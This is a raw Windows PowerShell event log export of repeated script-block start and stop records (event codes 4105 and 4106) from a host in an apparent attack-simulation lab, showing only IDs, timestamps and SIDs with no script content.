SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048523
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048521
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048520
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048503
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048498
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048497
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
